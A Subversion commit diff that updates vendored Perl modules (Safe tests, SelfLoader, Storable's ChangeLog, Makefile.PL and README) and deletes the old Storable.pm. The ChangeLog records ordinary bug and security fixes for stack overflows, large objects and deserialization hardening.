--- vendor/perl/dist/dist/Safe/t/safe1.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Safe/t/safe1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 
 package test;	# test from somewhere other than main
 
-use vars qw($bar);
+our $bar;
 
 use Opcode 1.00, qw(opdesc opset opset_to_ops opset_to_hex
 	opmask_add full_opset empty_opset opcodes opmask define_optag);

Modified: vendor/perl/dist/dist/Safe/t/safe2.t
===================================================================
--- vendor/perl/dist/dist/Safe/t/safe2.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Safe/t/safe2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,8 +11,6 @@
 # Tests Todo:
 #	'main' as root
 
-use vars qw($bar);
-
 use Opcode 1.00, qw(opdesc opset opset_to_ops opset_to_hex
 	opmask_add full_opset empty_opset opcodes opmask define_optag);
 
@@ -23,7 +21,7 @@
 
 # Set up a package namespace of things to be visible to the unsafe code
 $Root::foo = "visible";
-$bar = "invisible";
+our $bar = "invisible";
 
 # Stop perl from moaning about identifies which are apparently only used once
 $Root::foo .= "";

Modified: vendor/perl/dist/dist/Safe/t/safeops.t
===================================================================
--- vendor/perl/dist/dist/Safe/t/safeops.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Safe/t/safeops.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -234,6 +234,7 @@
 rv2hv		%h
 helem		$h{kEy}
 hslice		@h{kEy}
+multiconcat	SKIP (set by optimizer)
 multideref	SKIP (set by optimizer)
 unpack		unpack
 pack		pack

Modified: vendor/perl/dist/dist/SelfLoader/lib/SelfLoader.pm
===================================================================
--- vendor/perl/dist/dist/SelfLoader/lib/SelfLoader.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/SelfLoader/lib/SelfLoader.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,11 +2,11 @@
 use 5.008;
 use strict;
 use IO::Handle;
-our $VERSION = "1.23";
+our $VERSION = "1.25";
 
 # The following bit of eval-magic is necessary to make this work on
 # perls < 5.009005.
-use vars qw/$AttrList/;
+our $AttrList;
 BEGIN {
   if ($] > 5.009004) {
     eval <<'NEWERPERL';

Modified: vendor/perl/dist/dist/Storable/ChangeLog
===================================================================
--- vendor/perl/dist/dist/Storable/ChangeLog	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/ChangeLog	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,3 +1,192 @@
+2018-02-07 15:08:00 tonyc
+    Version 3.06
+
+        * support large object ids.  The code in theory supported arrays
+        with more than 2**32 elements, but references to the elements
+        emitted at the end of the array with be retrieved as references to
+        the wrong elements.
+        * 32-bit object ids over 2**31-1 weren't correctly handled.
+        * hook object id generation now supports 64-bit ids where needed
+        * writing 64-bit lengths in network order now works
+        * reading 64-bit lengths in network order now reads the components
+        in the correct order.
+        * retrieving large object tags are now only handled on 64-bit
+        platforms, large object tags should only be emitted for objects
+        that are too large for the 32-bit address space, so it was only
+        wasted code.
+        * reading 32-bit lengths for LSCALAR and LUTF8STR as unsigned
+        (perl #131990)
+        * reading flagged large object hashes didn't read the flags
+        * treat the 32-bit size of hook data as unsigned, values over 2GB
+        were treated as large (close to 2**64) parameters to NEWSV().
+        (perl #131999)
+        * added support for hook data over 4GB in size
+        * zero length data receievd from STORABLE_freeze() no longer
+        results in an invalid SV being passed to STORABLE_thaw/_attach()
+        (perl #118551)
+        * where practical, padding is now cleared when emitting a long
+        double (perl #131136)
+        * cache the value of $Storable::DEBUGME (since cperl enabled
+        Storable TRACEME builds for all -DDEBUGGING builds)
+        * no longer discard exceptions thrown by
+        STORABLE_freeze/_thaw/attach() (perl #25933)
+        * fix dependencies used to build Storable.pm from __Storable__.pm
+        * add experimental support for freezing/thawing regular
+        expressions (perl #50608)
+        * re-work recursion limiting to store the limit in a perl variable
+        instead of baked into Storable.$so.  This allows static Storable
+        builds to work, and avoids the kind of circular reference on
+        Storable.$so.
+
+2017-07-24 13:57:13 rurban
+    Version 3.05_13
+
+        * mingw fix: use safe defaults, not segfaulting defaults.
+        mingw fails on the stacksize binary search, leaving it empty.
+
+Wed Apr 19 09:11:07 2017 +0200 Reini Urban <rurban at cpan.org>
+    Version 3.05_12
+
+        * enhance stack reserve from 8 to 16
+        * fix LD_LIBRARY_PATH usage for CORE
+        * fixed some coverity warnings and leaks
+        * added a release make target
+
+Wed Mar 29 21:04:28 2017 +0200 Reini Urban <rurban at cpan.org>
+    Version 3.05_11
+
+        * croak on sizes read > I32_MAX
+        * simplify last_op_in_netorder
+        * protect from empty retrieve_vstring
+        * protect store_other error buf, potential static
+        buffer overflow.
+
+Tue Mar 14 09:52:20 2017 +0100 Reini Urban <rurban at cpan.org>
+    Version 3.05_10
+
+        * CORE-only improvements to stacksize
+
+Thu Mar 9 19:20:19 2017 +0100 Reini Urban <rurban at cpan.org>
+    Version 3.05_09
+
+        * compute the stacksizes, improve cleanup within croak
+        from stack exhaustion.
+        * added stack_depth and stack_depth_hash getters.
+
+Wed Mar  8 21:03:43 CET 2017 Reini Urban <rurban at cpan.org>
+    Version 3.05_08
+
+        * finetune the max stack limit, for C++, DEBUGGING and 32bit.
+        * fix t/blessed.t for cperl5.22
+
+Sun Mar 5 13:36:47 2017 +0100 Reini Urban <rurban at cpan.org>
+    Version 3.05_07
+
+        * Fixed a podchecker issue
+
+Sun Mar 5 11:42:04 2017 +0100 Reini Urban <rurban at cpan.org>
+    Version 3.05_06
+
+        * Fixed wrong recursion depth error with large arrays containing
+        another array.
+	L<[cperl #257]|https://github.com/perl11/cperl/issues/257>
+
+Thu Feb 2 12:40:44 2017 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.05_05
+
+        * Add leak tests for [cpan #97316], [perl #121928]
+        * Limit the max recursion depth to 1200 on 32bit systems.
+        We have no max_depth option yet, as in JSON::XS.
+
+Thu Feb 2 11:59:21 2017 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.05_04
+
+        * Fix retrieve_tied_array which fails since 5.16
+        [cpan #84705]
+        * Improve t/blessed.t in the creation of sv_yes/sv_no
+        with threaded perls.
+
+Tue Jan 31 02:55:30 2017 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.05_03
+
+        * Tune t/recurse.t stack-overflow limit more.
+
+Mon Jan 30 19:50:29 2017 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.05_02
+
+        * Tune t/recurse.t stack-overflow limit. Small 64bit systems overflow
+        even with depth 3000, where 32bit are ok.
+
+Mon Jan 30 15:13:38 2017 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.05_01
+
+        * Protect against stack overflows with nested arrays and hashes
+        [cpan #97526]. This imposes a new limit to your nested structures,
+        but JSON::XS has a limit of 512. We use a max_depth of 3000 for the
+        typical stack limit of 8k.
+
+
+Sun Jan 29 11:36:43 2017 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.05
+
+        * Protect against classname len overflow on the stack
+        and 2x on the heap with retrieve_bless and retrieve_hook.
+        A serious security issue with malcrafted storable files or buffers,
+        but p5p accepts no CVE on Storable attacks. See RT #130635
+        (reported by JD).
+        * Fix NULL ptr SEGVs with retrieve_code and retrieve_other.
+        See RT #130098 (reported and fixed by JD)
+        * Fix wrong huge LOBJECT support, broken since 3.00c.
+        Repro with `export PERL_TEST_MEMORY=8`
+        * Fix the few remaining 2-arg open calls.
+        * Portability and backport fixes back to 5.6.2
+
+Sat Jan 7 09:01:29 2017 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.04c
+
+        * fix printf types and warnings, esp. for 32bit use64bitint
+        * Change sv_setpvn(…, "…", …) to sv_setpvs(…, "…")
+
+Tue Jul 26 11:49:33 2016 +1000 Tony Cook <tony at develop-help.com>
+    Version 3.03c
+
+        * remove . from @INC when loading optional modules
+
+Sun Nov 20 18:06:45 2016 +0100 Reini Urban <rurban at cpanel.net>
+    Version 3.02c
+
+        * Fix -Wc++11-compat warnings, fix -Wchar-subscripts
+
+Fri Sep 16 01:32:59 2016 +0200 Reini Urban <rurban at cpanel.net>
+    Version 3.01c
+
+        * Added warn_security("Movable-Type CVE-2015-1592 Storable metasploit attack")
+          when detecting the third destructive metasploit vector,
+          thawing bless \"mt-config.cgi", "CGITempFile".
+
+Thu Mar 31 17:10:27 2016 +0200 Reini Urban <rurban at cpanel.net>
+    Version 3.00c
+
+        * Added support for u64 strings, arrays and hashes >2G
+          via a new LOBJECT tag. This is for 32bit systems and lengths
+          between 2GB and 4GB (I32-U32), and 64bit (>I32).
+        * Bumped STORABLE_BIN_MINOR and STORABLE_BIN_WRITE_MINOR from 10 to 11
+        * fix parallel tests, use unique filenames.
+        * fixed 2 instances of 2arg open,
+        * added optional flag arguments to skip tie and bless on retrieve/thaw,
+        * added SECURITY WARNING and Large data support to docs
+        * compute CAN_FLOCK at compile-time
+        * reformat everything consistently
+        * enable DEBUGME tracing and asserts with -DDEBUGGING
+        * fix all 64 bit compiler warnings
+        * added some abstraction methods to avoid code duplication
+
+?????? p5p <perl5-porters at perl.org>
+    Version 2.65
+
+	* Replace multiple 'use vars' by 'our'
+	* remove Config dependency
+
 Wed Jul  2 16:25:25 IST 2014   Abhijit Menon-Sen <ams at toroid.org>
     Version 2.51
 

Modified: vendor/perl/dist/dist/Storable/Makefile.PL
===================================================================
--- vendor/perl/dist/dist/Storable/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,29 +1,55 @@
 #
 #  Copyright (c) 1995-2000, Raphael Manfredi
+#  Copyright (c) 2017, Reini Urban
 #  
 #  You may redistribute only under the same terms as Perl 5, as specified
 #  in the README file that comes with the distribution.
 #
 
+use strict;
 use ExtUtils::MakeMaker;
 use Config;
+use File::Copy qw(move copy);
+use File::Spec;
 
+unlink "lib/Storable/Limit.pm";
+
+my $pm = { 'Storable.pm' => '$(INST_ARCHLIB)/Storable.pm' };
+unless ($ENV{PERL_CORE}) {
+    # the core Makefile takes care of this for core builds
+    $pm->{"lib/Storable/Limit.pm"} = '$(INST_ARCHLIB)/Storable/Limit.pm';
+}
+
 WriteMakefile(
     NAME                => 'Storable',
     DISTNAME            => "Storable",
 # We now ship this in t/
 #    PREREQ_PM           => { 'Test::More' => '0.41' },
+    PL_FILES        => { }, # prevent default behaviour
+    PM              => $pm,
     PREREQ_PM           => { XSLoader => 0 },
     INSTALLDIRS => ($] >= 5.007 && $] < 5.012) ? 'perl' : 'site',
-    VERSION_FROM        => 'Storable.pm',
+    VERSION_FROM    => '__Storable__.pm',
+    ABSTRACT_FROM   => '__Storable__.pm',
     ($ExtUtils::MakeMaker::VERSION > 6.45 ?
      (META_MERGE        => { resources =>
-                               { bugtracker => 'http://rt.perl.org/perlbug/' }
+                               { bugtracker => 'http://rt.perl.org/perlbug/' },
+                            provides    => {
+                                'Storable'  => {
+                                    file        => 'Storable_pm.PL',
+                                    version     => MM->parse_version('__Storable__.pm'),
+                                },
+                            },
+
                            },
     ) : ()),
     dist                => { SUFFIX => 'gz', COMPRESS => 'gzip -f' },
+    clean               => { FILES => 'Storable-* Storable.pm lib' },
 );
 
+# Unlink the .pm file included with the distribution
+1 while unlink "Storable.pm";
+
 my $ivtype = $Config{ivtype};
 
 # I don't know if the VMS folks ever supported long long on 5.6.x
@@ -43,3 +69,60 @@
 
 EOM
 }
+
+# compute the maximum stacksize, before and after linking
+package MY;
+
+# FORCE finish of INST_DYNAMIC, avoid loading the old Storable (failed XS_VERSION check)
+sub xlinkext {
+    my $s = shift->SUPER::linkext(@_);
+    $s =~ s|( :: .*)| $1 FORCE stacksize|;
+    $s
+}
+
+sub depend {
+    my $extra_deps = "";
+    my $options = "";
+    if ($ENV{PERL_CORE}) {
+        $options = "--core";
+    }
+    else {
+        # blib.pm needs arch/lib
+        $extra_deps = ' Storable.pm';
+    }
+    my $linktype = uc($_[0]->{LINKTYPE});
+    my $limit_pm = File::Spec->catfile('lib', 'Storable', 'Limit.pm');
+    "
+$limit_pm : stacksize \$(INST_$linktype)$extra_deps
+	\$(MKPATH) \$(INST_LIB)
+	\$(FULLPERLRUNINST) stacksize $options
+
+release : dist
+	git tag \$(VERSION)
+	cpan-upload \$(DISTVNAME).tar\$(SUFFIX)
+	git push
+	git push --tags
+"
+}
+
+sub test {
+    my ($self, %attr) = @_;
+
+    my $out = $self->SUPER::test(%attr);
+
+    if ($ENV{PERL_CORE}) {
+        $out =~ s!^(test(?:db)?_(?:static|dynamic)\b.*)!$1 lib/Storable/Limit.pm!gm;
+    }
+
+    $out;
+}
+
+sub postamble {
+'
+all :: Storable.pm
+	$(NOECHO) $(NOOP)
+
+Storable.pm :: Storable.pm.PL __Storable__.pm
+	$(PERLRUN) Storable.pm.PL
+'
+}

Modified: vendor/perl/dist/dist/Storable/README
===================================================================
--- vendor/perl/dist/dist/Storable/README	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/README	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,7 @@
-                         Storable 2.14
+                         Storable 3.05c
                Copyright (c) 1995-2000, Raphael Manfredi
                Copyright (c) 2001-2004, Larry Wall
+               Copyright (c) 2016,2017 cPanel Inc
 
 ------------------------------------------------------------------------
     This program is free software; you can redistribute it and/or modify
@@ -15,8 +16,8 @@
 +=======================================================================
 | Storable is distributed as a module, but is also part of the official
 | Perl core distribution, as of perl 5.8. 
-| Maintenance is now done by the perl5-porters.  We thank Raphael
-| Manfredi for providing us with this very useful module.
+| Maintenance is partially done by the perl5-porters, and for cperl by cPanel.
+| We thank Raphael Manfredi for providing us with this very useful module.
 +=======================================================================
 
 The Storable extension brings persistence to your data.
@@ -47,7 +48,10 @@
 There is an embedded POD manual page in Storable.pm.
 
 Storable was written by Raphael Manfredi <Raphael_Manfredi at pobox.com>
-Maintenance is now done by the perl5-porters <perl5-porters at perl.org>
+Maintenance is now done by cperl, https://github.com/rurban/Storable/
+Note that p5p still ships an old broken version, without stack overflow
+protection and large object support. As long as you don't store overlarge
+objects, they are compatible.
 
 Please e-mail us with problems, bug fixes, comments and complaints,
 although if you have complements you should send them to Raphael.
@@ -68,6 +72,10 @@
     Marc Lehmann <pcg at opengroup.org>
     Justin Banks <justinb at wamnet.com>
     Jarkko Hietaniemi <jhi at iki.fi> (AGAIN, as perl 5.7.0 Pumpkin!)
+    Todd Rinaldo <toddr at cpanel.net> and JD Lightsey <jd at cpanel.net>
+      for optional disabling tie and bless for increased security.
+    Reini Urban <rurban at cpanel.net> for the 3.0x >2G support and rewrite
+    JD Lightsey <jd at cpanel.net>
 
 for their contributions.
 
@@ -104,6 +112,3 @@
     Tim Bunce <Tim.Bunce at pobox.com>
     VMSperlers
     Yitzchak Scott-Thoennes <sthoenna at efn.org>
-
-If I've missed you out, please accept my apologies, and e-mail your
-patch to perl5-porters at perl.org.

Deleted: vendor/perl/dist/dist/Storable/Storable.pm
===================================================================
--- vendor/perl/dist/dist/Storable/Storable.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/Storable.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,1237 +0,0 @@
-#
-#  Copyright (c) 1995-2001, Raphael Manfredi
-#  Copyright (c) 2002-2014 by the Perl 5 Porters
-#
-#  You may redistribute only under the same terms as Perl 5, as specified
-#  in the README file that comes with the distribution.
-#
-
-require XSLoader;
-require Exporter;
-package Storable; @ISA = qw(Exporter);
-
- at EXPORT = qw(store retrieve);
- at EXPORT_OK = qw(
-	nstore store_fd nstore_fd fd_retrieve
-	freeze nfreeze thaw
-	dclone
-	retrieve_fd
-	lock_store lock_nstore lock_retrieve
-        file_magic read_magic
-);
-
-use vars qw($canonical $forgive_me $VERSION);
-
-$VERSION = '2.62';
-
-BEGIN {
-    if (eval {
-        local $SIG{__DIE__};
-        local @INC = @INC;
-        pop @INC if $INC[-1] eq '.';
-        require Log::Agent;
-        1;
-    }) {
-        Log::Agent->import;
-    }
-    #
-    # Use of Log::Agent is optional. If it hasn't imported these subs then
-    # provide a fallback implementation.
-    #
-    unless ($Storable::{logcroak} && *{$Storable::{logcroak}}{CODE}) {
-        require Carp;
-        *logcroak = sub {
-            Carp::croak(@_);
-        };
-    }
-    unless ($Storable::{logcarp} && *{$Storable::{logcarp}}{CODE}) {
-	require Carp;
-        *logcarp = sub {
-          Carp::carp(@_);
-        };
-    }
-}
-
-#
-# They might miss :flock in Fcntl
-#
-
-BEGIN {
-	if (eval { require Fcntl; 1 } && exists $Fcntl::EXPORT_TAGS{'flock'}) {
-		Fcntl->import(':flock');
-	} else {
-		eval q{
-			sub LOCK_SH ()	{1}
-			sub LOCK_EX ()	{2}
-		};
-	}
-}
-
-sub CLONE {
-    # clone context under threads
-    Storable::init_perinterp();
-}
-
-# By default restricted hashes are downgraded on earlier perls.
-
-$Storable::downgrade_restricted = 1;
-$Storable::accept_future_minor = 1;
-
-XSLoader::load('Storable', $Storable::VERSION);
-
-#
-# Determine whether locking is possible, but only when needed.
-#
-
-sub CAN_FLOCK; my $CAN_FLOCK; sub CAN_FLOCK {
-	return $CAN_FLOCK if defined $CAN_FLOCK;
-	require Config; import Config;
-	return $CAN_FLOCK =
-		$Config{'d_flock'} ||
-		$Config{'d_fcntl_can_lock'} ||
-		$Config{'d_lockf'};
-}
-
-sub show_file_magic {
-    print <<EOM;
-#
-# To recognize the data files of the Perl module Storable,
-# the following lines need to be added to the local magic(5) file,
-# usually either /usr/share/misc/magic or /etc/magic.
-#
-0	string	perl-store	perl Storable(v0.6) data
->4	byte	>0	(net-order %d)
->>4	byte	&01	(network-ordered)
->>4	byte	=3	(major 1)
->>4	byte	=2	(major 1)
-
-0	string	pst0	perl Storable(v0.7) data
->4	byte	>0
->>4	byte	&01	(network-ordered)
->>4	byte	=5	(major 2)
->>4	byte	=4	(major 2)
->>5	byte	>0	(minor %d)
-EOM
-}
-
-sub file_magic {
-    require IO::File;
-
-    my $file = shift;
-    my $fh = IO::File->new;
-    open($fh, "<", $file) || die "Can't open '$file': $!";
-    binmode($fh);
-    defined(sysread($fh, my $buf, 32)) || die "Can't read from '$file': $!";
-    close($fh);
-
-    $file = "./$file" unless $file;  # ensure TRUE value
-
-    return read_magic($buf, $file);
-}
-
-sub read_magic {
-    my($buf, $file) = @_;
-    my %info;
-
-    my $buflen = length($buf);
-    my $magic;
-    if ($buf =~ s/^(pst0|perl-store)//) {
-	$magic = $1;
-	$info{file} = $file || 1;
-    }
-    else {
-	return undef if $file;
-	$magic = "";
-    }
-
-    return undef unless length($buf);
-
-    my $net_order;
-    if ($magic eq "perl-store" && ord(substr($buf, 0, 1)) > 1) {
-	$info{version} = -1;
-	$net_order = 0;
-    }
-    else {
-	$buf =~ s/(.)//s;
-	my $major = (ord $1) >> 1;
-	return undef if $major > 4; # sanity (assuming we never go that high)
-	$info{major} = $major;
-	$net_order = (ord $1) & 0x01;
-	if ($major > 1) {
-	    return undef unless $buf =~ s/(.)//s;
-	    my $minor = ord $1;
-	    $info{minor} = $minor;
-	    $info{version} = "$major.$minor";
-	    $info{version_nv} = sprintf "%d.%03d", $major, $minor;
-	}
-	else {
-	    $info{version} = $major;
-	}
-    }
-    $info{version_nv} ||= $info{version};
-    $info{netorder} = $net_order;
-
-    unless ($net_order) {
-	return undef unless $buf =~ s/(.)//s;
-	my $len = ord $1;
-	return undef unless length($buf) >= $len;
-	return undef unless $len == 4 || $len == 8;  # sanity
-	@info{qw(byteorder intsize longsize ptrsize)}
-	    = unpack "a${len}CCC", $buf;
-	(substr $buf, 0, $len + 3) = '';
-	if ($info{version_nv} >= 2.002) {
-	    return undef unless $buf =~ s/(.)//s;
-	    $info{nvsize} = ord $1;
-	}
-    }
-    $info{hdrsize} = $buflen - length($buf);
-
-    return \%info;
-}
-
-sub BIN_VERSION_NV {
-    sprintf "%d.%03d", BIN_MAJOR(), BIN_MINOR();
-}
-
-sub BIN_WRITE_VERSION_NV {
-    sprintf "%d.%03d", BIN_MAJOR(), BIN_WRITE_MINOR();
-}
-
-#
-# store
-#
-# Store target object hierarchy, identified by a reference to its root.
-# The stored object tree may later be retrieved to memory via retrieve.
-# Returns undef if an I/O error occurred, in which case the file is
-# removed.
-#
-sub store {
-	return _store(\&pstore, @_, 0);
-}
-
-#
-# nstore
-#
-# Same as store, but in network order.
-#
-sub nstore {
-	return _store(\&net_pstore, @_, 0);
-}
-
-#
-# lock_store
-#
-# Same as store, but flock the file first (advisory locking).
-#
-sub lock_store {
-	return _store(\&pstore, @_, 1);
-}
-
-#
-# lock_nstore
-#
-# Same as nstore, but flock the file first (advisory locking).
-#
-sub lock_nstore {
-	return _store(\&net_pstore, @_, 1);
-}
-
-# Internal store to file routine
-sub _store {
-	my $xsptr = shift;
-	my $self = shift;
-	my ($file, $use_locking) = @_;
-	logcroak "not a reference" unless ref($self);
-	logcroak "wrong argument number" unless @_ == 2;	# No @foo in arglist
-	local *FILE;
-	if ($use_locking) {
-		open(FILE, '>>', $file) || logcroak "can't write into $file: $!";
-		unless (&CAN_FLOCK) {
-			logcarp
-				"Storable::lock_store: fcntl/flock emulation broken on $^O";
-			return undef;
-		}
-		flock(FILE, LOCK_EX) ||
-			logcroak "can't get exclusive lock on $file: $!";
-		truncate FILE, 0;
-		# Unlocking will happen when FILE is closed
-	} else {
-		open(FILE, '>', $file) || logcroak "can't create $file: $!";
-	}
-	binmode FILE;				# Archaic systems...
-	my $da = $@;				# Don't mess if called from exception handler
-	my $ret;
-	# Call C routine nstore or pstore, depending on network order
-	eval { $ret = &$xsptr(*FILE, $self) };
-	# close will return true on success, so the or short-circuits, the ()
-	# expression is true, and for that case the block will only be entered
-	# if $@ is true (ie eval failed)
-	# if close fails, it returns false, $ret is altered, *that* is (also)
-	# false, so the () expression is false, !() is true, and the block is
-	# entered.
-	if (!(close(FILE) or undef $ret) || $@) {
-		unlink($file) or warn "Can't unlink $file: $!\n";
-	}
-	logcroak $@ if $@ =~ s/\.?\n$/,/;
-	$@ = $da;
-	return $ret;
-}
-
-#
-# store_fd
-#
-# Same as store, but perform on an already opened file descriptor instead.
-# Returns undef if an I/O error occurred.
-#
-sub store_fd {
-	return _store_fd(\&pstore, @_);
-}
-
-#
-# nstore_fd
-#
-# Same as store_fd, but in network order.
-#
-sub nstore_fd {
-	my ($self, $file) = @_;
-	return _store_fd(\&net_pstore, @_);
-}
-
-# Internal store routine on opened file descriptor
-sub _store_fd {
-	my $xsptr = shift;
-	my $self = shift;
-	my ($file) = @_;
-	logcroak "not a reference" unless ref($self);
-	logcroak "too many arguments" unless @_ == 1;	# No @foo in arglist
-	my $fd = fileno($file);
-	logcroak "not a valid file descriptor" unless defined $fd;
-	my $da = $@;				# Don't mess if called from exception handler
-	my $ret;
-	# Call C routine nstore or pstore, depending on network order
-	eval { $ret = &$xsptr($file, $self) };
-	logcroak $@ if $@ =~ s/\.?\n$/,/;
-	local $\; print $file '';	# Autoflush the file if wanted
-	$@ = $da;
-	return $ret;
-}
-
-#
-# freeze
-#
-# Store object and its hierarchy in memory and return a scalar
-# containing the result.
-#
-sub freeze {
-	_freeze(\&mstore, @_);
-}
-
-#
-# nfreeze
-#
-# Same as freeze but in network order.
-#
-sub nfreeze {
-	_freeze(\&net_mstore, @_);
-}
-
-# Internal freeze routine
-sub _freeze {
-	my $xsptr = shift;
-	my $self = shift;
-	logcroak "not a reference" unless ref($self);
-	logcroak "too many arguments" unless @_ == 0;	# No @foo in arglist
-	my $da = $@;				# Don't mess if called from exception handler
-	my $ret;
-	# Call C routine mstore or net_mstore, depending on network order
-	eval { $ret = &$xsptr($self) };
-	logcroak $@ if $@ =~ s/\.?\n$/,/;
-	$@ = $da;
-	return $ret ? $ret : undef;
-}
-
-#
-# retrieve
-#
-# Retrieve object hierarchy from disk, returning a reference to the root
-# object of that tree.
-#
-sub retrieve {
-	_retrieve($_[0], 0);
-}
-
-#
-# lock_retrieve
-#
-# Same as retrieve, but with advisory locking.
-#
-sub lock_retrieve {
-	_retrieve($_[0], 1);
-}
-
-# Internal retrieve routine
-sub _retrieve {
-	my ($file, $use_locking) = @_;
-	local *FILE;
-	open(FILE, '<', $file) || logcroak "can't open $file: $!";
-	binmode FILE;							# Archaic systems...
-	my $self;
-	my $da = $@;							# Could be from exception handler
-	if ($use_locking) {
-		unless (&CAN_FLOCK) {
-			logcarp
-				"Storable::lock_store: fcntl/flock emulation broken on $^O";
-			return undef;
-		}
-		flock(FILE, LOCK_SH) || logcroak "can't get shared lock on $file: $!";
-		# Unlocking will happen when FILE is closed
-	}
-	eval { $self = pretrieve(*FILE) };		# Call C routine
-	close(FILE);
-	logcroak $@ if $@ =~ s/\.?\n$/,/;
-	$@ = $da;
-	return $self;
-}
-
-#
-# fd_retrieve
-#
-# Same as retrieve, but perform from an already opened file descriptor instead.
-#
-sub fd_retrieve {
-	my ($file) = @_;
-	my $fd = fileno($file);
-	logcroak "not a valid file descriptor" unless defined $fd;
-	my $self;
-	my $da = $@;							# Could be from exception handler
-	eval { $self = pretrieve($file) };		# Call C routine
-	logcroak $@ if $@ =~ s/\.?\n$/,/;
-	$@ = $da;
-	return $self;
-}
-
-sub retrieve_fd { &fd_retrieve }		# Backward compatibility
-
-#
-# thaw
-#
-# Recreate objects in memory from an existing frozen image created
-# by freeze.  If the frozen image passed is undef, return undef.
-#
-sub thaw {
-	my ($frozen) = @_;
-	return undef unless defined $frozen;
-	my $self;
-	my $da = $@;							# Could be from exception handler
-	eval { $self = mretrieve($frozen) };	# Call C routine
-	logcroak $@ if $@ =~ s/\.?\n$/,/;
-	$@ = $da;
-	return $self;
-}
-
-1;
-__END__
-
-=head1 NAME
-
-Storable - persistence for Perl data structures
-
-=head1 SYNOPSIS
-
- use Storable;
- store \%table, 'file';
- $hashref = retrieve('file');
-
- use Storable qw(nstore store_fd nstore_fd freeze thaw dclone);
-
- # Network order
- nstore \%table, 'file';
- $hashref = retrieve('file');	# There is NO nretrieve()
-
- # Storing to and retrieving from an already opened file
- store_fd \@array, \*STDOUT;
- nstore_fd \%table, \*STDOUT;
- $aryref = fd_retrieve(\*SOCKET);
- $hashref = fd_retrieve(\*SOCKET);
-
- # Serializing to memory
- $serialized = freeze \%table;
- %table_clone = %{ thaw($serialized) };
-
- # Deep (recursive) cloning
- $cloneref = dclone($ref);
-
- # Advisory locking
- use Storable qw(lock_store lock_nstore lock_retrieve)
- lock_store \%table, 'file';
- lock_nstore \%table, 'file';
- $hashref = lock_retrieve('file');
-
-=head1 DESCRIPTION
-
-The Storable package brings persistence to your Perl data structures
-containing SCALAR, ARRAY, HASH or REF objects, i.e. anything that can be
-conveniently stored to disk and retrieved at a later time.
-
-It can be used in the regular procedural way by calling C<store> with
-a reference to the object to be stored, along with the file name where
-the image should be written.
-
-The routine returns C<undef> for I/O problems or other internal error,
-a true value otherwise. Serious errors are propagated as a C<die> exception.
-
-To retrieve data stored to disk, use C<retrieve> with a file name.
-The objects stored into that file are recreated into memory for you,
-and a I<reference> to the root object is returned. In case an I/O error
-occurs while reading, C<undef> is returned instead. Other serious
-errors are propagated via C<die>.
-
-Since storage is performed recursively, you might want to stuff references
-to objects that share a lot of common data into a single array or hash
-table, and then store that object. That way, when you retrieve back the
-whole thing, the objects will continue to share what they originally shared.
-
-At the cost of a slight header overhead, you may store to an already
-opened file descriptor using the C<store_fd> routine, and retrieve
-from a file via C<fd_retrieve>. Those names aren't imported by default,
-so you will have to do that explicitly if you need those routines.
-The file descriptor you supply must be already opened, for read
-if you're going to retrieve and for write if you wish to store.
-
-	store_fd(\%table, *STDOUT) || die "can't store to stdout\n";
-	$hashref = fd_retrieve(*STDIN);
-
-You can also store data in network order to allow easy sharing across
-multiple platforms, or when storing on a socket known to be remotely
-connected. The routines to call have an initial C<n> prefix for I<network>,
-as in C<nstore> and C<nstore_fd>. At retrieval time, your data will be
-correctly restored so you don't have to know whether you're restoring
-from native or network ordered data.  Double values are stored stringified
-to ensure portability as well, at the slight risk of loosing some precision
-in the last decimals.
-
-When using C<fd_retrieve>, objects are retrieved in sequence, one
-object (i.e. one recursive tree) per associated C<store_fd>.
-
-If you're more from the object-oriented camp, you can inherit from
-Storable and directly store your objects by invoking C<store> as
-a method. The fact that the root of the to-be-stored tree is a
-blessed reference (i.e. an object) is special-cased so that the
-retrieve does not provide a reference to that object but rather the
-blessed object reference itself. (Otherwise, you'd get a reference
-to that blessed object).
-
-=head1 MEMORY STORE
-
-The Storable engine can also store data into a Perl scalar instead, to
-later retrieve them. This is mainly used to freeze a complex structure in
-some safe compact memory place (where it can possibly be sent to another
-process via some IPC, since freezing the structure also serializes it in
-effect). Later on, and maybe somewhere else, you can thaw the Perl scalar
-out and recreate the original complex structure in memory.
-
-Surprisingly, the routines to be called are named C<freeze> and C<thaw>.
-If you wish to send out the frozen scalar to another machine, use
-C<nfreeze> instead to get a portable image.
-
-Note that freezing an object structure and immediately thawing it
-actually achieves a deep cloning of that structure:
-
-    dclone(.) = thaw(freeze(.))
-
-Storable provides you with a C<dclone> interface which does not create
-that intermediary scalar but instead freezes the structure in some
-internal memory space and then immediately thaws it out.
-
-=head1 ADVISORY LOCKING
-
-The C<lock_store> and C<lock_nstore> routine are equivalent to
-C<store> and C<nstore>, except that they get an exclusive lock on
-the file before writing.  Likewise, C<lock_retrieve> does the same
-as C<retrieve>, but also gets a shared lock on the file before reading.
-
-As with any advisory locking scheme, the protection only works if you
-systematically use C<lock_store> and C<lock_retrieve>.  If one side of
-your application uses C<store> whilst the other uses C<lock_retrieve>,
